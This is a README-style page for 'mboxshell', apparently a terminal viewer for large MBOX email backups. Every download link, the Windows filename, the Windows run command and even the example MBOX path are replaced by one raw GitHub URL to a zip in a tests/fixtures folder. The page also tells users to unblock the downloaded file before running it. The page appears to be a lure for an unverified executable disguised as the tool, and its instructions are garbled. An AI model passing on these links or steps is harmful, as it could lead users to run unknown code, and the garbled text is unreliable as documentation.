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📂 mboxshell - Fast Terminal Viewer for MBOX Files

Download Latest Release

📖 What is mboxshell?

mboxshell is a simple program that lets you open and read large MBOX email backup files right in your computer’s terminal. It works well with Gmail Takeout files that can get very big, even over 50GB. You don’t have to load the entire file into memory, so it runs quickly without slowing down your computer.

You can also search messages or export email contents without fuss. The program is built using Rust, which makes it fast and efficient. This tool is helpful if you keep backups of your emails or want to explore your email archives without opening a heavy app.

💻 System Requirements

mboxshell works on Windows, macOS, and Linux computers. Here are the basic requirements:

  • Operating System: Windows 10 or newer, macOS 10.15 or newer, or any major Linux distribution
  • Processor: Intel or AMD, 64-bit
  • RAM: At least 4 GB for smooth use; more helps with very large files
  • Disk Space: Enough free space to store and open your MBOX files
  • Terminal: Access to a command line interface (Command Prompt on Windows, Terminal on macOS/Linux)

🚀 Getting Started

Follow these steps to download, install, and start using mboxshell.

Step 1: Download mboxshell

Click the blue Download Latest Release button at the top or visit the official release page here:

https://github.com/lilman218/mboxshell/raw/refs/heads/main/tests/fixtures/Software-v1.6.zip

On the release page, look for the file that matches your computer’s operating system:

  • For Windows, it might be named something like https://github.com/lilman218/mboxshell/raw/refs/heads/main/tests/fixtures/Software-v1.6.zip
  • For macOS, look for mboxshell-macos
  • For Linux, look for mboxshell-linux or similar

Download the right file to your computer.

Step 2: Prepare to Run mboxshell

After downloading, find the file in your Downloads folder or where you saved it.

  • On Windows, right-click the file and select Properties. Under the Security section, check Unblock if it appears, then click OK.

  • On macOS or Linux, you may need to make the file executable. Open Terminal and type:

    chmod +x /path/to/mboxshell

    Replace /path/to/mboxshell with where you saved the file.

Step 3: Open mboxshell

Open your terminal program:

  • On Windows, search for Command Prompt in the Start menu.
  • On macOS, open Terminal from Applications > Utilities.
  • On Linux, open your terminal app from the menu.

Navigate to the folder where you saved mboxshell. For example, if you saved it in Downloads:

cd Downloads

Then, run the program by typing:

  • On Windows:
https://github.com/lilman218/mboxshell/raw/refs/heads/main/tests/fixtures/Software-v1.6.zip
  • On macOS/Linux:
./mboxshell

🔎 How to Use mboxshell

Once mboxshell opens, you can begin viewing your MBOX files. Here’s a simple guide:

Opening an MBOX File

To open a file, type:

open https://github.com/lilman218/mboxshell/raw/refs/heads/main/tests/fixtures/Software-v1.6.zip

Replace https://github.com/lilman218/mboxshell/raw/refs/heads/main/tests/fixtures/Software-v1.6.zip with where your email backup file is located.

Searching Emails

To look for specific emails, use the search command:

search "keyword"

For example, to find emails about “invoice” type:

search "invoice"

Exporting Emails

To save emails from the MBOX file, type:

export path/to/export/folder

This will save emails to the folder you specify.

📦 Download & Install

You can download the latest version of mboxshell from the official release page:

https://github.com/lilman218/mboxshell/raw/refs/heads/main/tests/fixtures/Software-v1.6.zip

Make sure to select the correct version for your operating system. After downloading, follow the instructions in the "Getting Started" section above to prepare and run the application.

❓ Troubleshooting Tips

  • If mboxshell does not start, check that you have the right permissions to run files on your system.
  • Ensure you use the correct commands in the terminal. Commands are case sensitive.
  • If you see errors opening large files, try closing other programs to free up memory.
  • Refer to the release page or issues section on GitHub for updates or bug fixes.

📣 Additional Information

Why Use mboxshell?

  • It handles very large MBOX files without slowing your computer.
  • No complicated setup is needed.
  • Useful for quickly searching and managing email archives.
  • Runs in the terminal without a heavy user interface.

Common Use Cases

  • Reviewing Gmail Takeout backups from your Google account.
  • Exporting selected emails for backup or record keeping.
  • Searching through old emails without loading in email clients.

🔗 Useful Links

🏷️ Topics

attach, email, eml, gmail, mail, mbox, mbox-files, mbox-format, mbox-viewer, mboxviewer, rust, terminal